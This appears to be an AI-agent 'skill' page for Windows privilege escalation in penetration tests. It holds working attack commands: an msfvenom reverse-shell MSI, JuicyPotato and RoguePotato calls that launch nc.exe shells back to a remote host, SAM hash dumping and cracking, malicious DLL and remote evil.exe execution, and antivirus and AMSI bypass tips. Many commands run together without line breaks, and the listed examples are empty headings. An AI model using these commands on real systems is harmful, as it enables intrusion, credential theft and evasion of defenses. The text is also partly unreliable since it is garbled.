windows privilege escalation skill by zebbern | SkillBundle
This skill should be used when the user asks to "escalate privileges on Windows," "find Windows privesc vectors," "enumerate Windows for privilege escalation," "exploit Windows misconfigurations," or "perform post-exploitation privilege escalation." It provides comprehensive guidance for discovering and exploiting privilege escalation vulnerabilities in Windows environments.
Provide systematic methodologies for discovering and exploiting privilege escalation vulnerabilities on Windows systems during penetration testing engagements. This skill covers system enumeration, credential harvesting, service exploitation, token impersonation, kernel exploits, and various misconfigurations that enable escalation from standard user to Administrator or SYSTEM privileges.
Inputs / Prerequisites
Initial Access: Shell or RDP access as standard user on Windows system
Enumeration Tools: WinPEAS, PowerUp, Seatbelt, or manual commands
Exploit Binaries: Pre-compiled exploits or ability to transfer tools
Knowledge: Understanding of Windows security model and privileges
Authorization: Written permission for penetration testing activities
Outputs / Deliverables
Privilege Escalation Path: Identified vector to higher privileges
Credential Dump: Harvested passwords, hashes, or tokens
Elevated Shell: Command execution as Administrator or SYSTEM
Vulnerability Report: Documentation of misconfigurations and exploits
Remediation Recommendations: Fixes for identified weaknesses
Core Workflow
1. System Enumeration
Basic System Information
# OS version and patchessysteminfo | findstr /B /C:"OS Name" /C:"OS Version"wmic qfe
Token impersonation requires service account context
Some techniques require GUI access
Detection Considerations
Credential dumping triggers security alerts
Service modification logged in Event Logs
PowerShell execution may be monitored
Known exploit signatures detected by AV
Legal Requirements
Only test systems with written authorization
Document all escalation attempts
Avoid disrupting production systems
Report all findings through proper channels
Examples
Example 1: Service Binary Path Exploitation
Example 2: AlwaysInstallElevated Exploitation
Example 3: JuicyPotato Token Impersonation
Example 4: Unquoted Service Path
Example 5: Credential Harvesting from Registry
Troubleshooting
Issue
Cause
Solution
Exploit fails (AV detected)
AV blocking known exploits
Use obfuscated exploits; living-off-the-land (mshta, certutil); custom compiled binaries
Service won't start
Binary path syntax
Ensure space after = in binpath: binpath= "C:\path\binary.exe"
Token impersonation fails
Wrong privilege/version
Check whoami /priv; verify Windows version compatibility
Can't find kernel exploit
System patched
Run Windows Exploit Suggester: python wes.py systeminfo.txt
PowerShell blocked
Execution policy/AMSI
Use powershell -ep bypass -c "cmd" or -enc <base64>
# Architecture
wmic os get osarchitecture
echo %PROCESSOR_ARCHITECTURE%
# Environment variables
set
Get-ChildItem Env: | ft Key,Value
# List drives
wmic logicaldisk get caption,description,providername
# Current userwhoamiecho %USERNAME%# User privilegeswhoami /privwhoami /groupswhoami /all# All usersnet userGet-LocalUser | ft Name,Enabled,LastLogon# User detailsnet user administratornet user %USERNAME%# Local groupsnet localgroupnet localgroup administratorsGet-LocalGroupMember Administrators | ft Name,PrincipalSource
# Network interfacesipconfig /allGet-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address# Routing tableroute printGet-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric# ARP tablearp -A# Active connectionsnetstat -ano# Network sharesnet share# Domain Controllersnltest /DCLIST:DomainName
# Check AV productsWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
# SAM file locations%SYSTEMROOT%\repair\SAM%SYSTEMROOT%\System32\config\RegBack\SAM%SYSTEMROOT%\System32\config\SAM# SYSTEM file locations%SYSTEMROOT%\repair\system%SYSTEMROOT%\System32\config\SYSTEM%SYSTEMROOT%\System32\config\RegBack\system# Extract hashes (from Linux after obtaining files)pwdump SYSTEM SAM > sam.txtsamdump2 SYSTEM SAM -o sam.txt# Crack with Johnjohn --format=NT sam.txt
# Find unquoted pathswmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\"wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """# Exploit: Place malicious exe in path# For path: C:\Program Files\Some App\service.exe# Try: C:\Program.exe or C:\Program Files\Some.exe
# Check if enabledreg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedreg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated# Both must return 0x1 for vulnerability# Create malicious MSImsfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o evil.msi# Install (runs as SYSTEM)msiexec /quiet /qn /i C:\evil.msi
# Look for these privilegeswhoami /priv# Exploitable privileges:# SeImpersonatePrivilege# SeAssignPrimaryTokenPrivilege# SeTcbPrivilege# SeBackupPrivilege# SeRestorePrivilege# SeCreateTokenPrivilege# SeLoadDriverPrivilege# SeTakeOwnershipPrivilege# SeDebugPrivilege
# JuicyPotato (Windows Server 2019 and below)JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.10.10 4444 -e cmd.exe" -t *# PrintSpoofer (Windows 10 and Server 2019)PrintSpoofer.exe -i -c cmd# RoguePotatoRoguePotato.exe -r 10.10.10.10 -e "C:\nc.exe 10.10.10.10 4444 -e cmd.exe" -l 9999# GodPotatoGodPotato.exe -cmd "cmd /c whoami"
# Use Windows Exploit Suggestersysteminfo > systeminfo.txtpython wes.py systeminfo.txt# Or use Watson (on target)Watson.exe# Or use Sherlock PowerShell scriptpowershell.exe -ExecutionPolicy Bypass -File Sherlock.ps1
# Find missing DLLs with Process Monitor# Filter: Result = NAME NOT FOUND, Path ends with .dll# Compile malicious DLL# For x64: x86_64-w64-mingw32-gcc windows_dll.c -shared -o evil.dll# For x86: i686-w64-mingw32-gcc windows_dll.c -shared -o evil.dll
# List saved credentialscmdkey /list# Use saved credentialsrunas /savecred /user:Administrator "cmd.exe /k whoami"runas /savecred /user:WORKGROUP\Administrator "\\10.10.10.10\share\evil.exe"
# Check for WSLwsl whoami# Set root as default userwsl --default-user root# Or: ubuntu.exe config --default-user root# Spawn shell as rootwsl whoamiwsl python -c 'import os; os.system("/bin/bash")'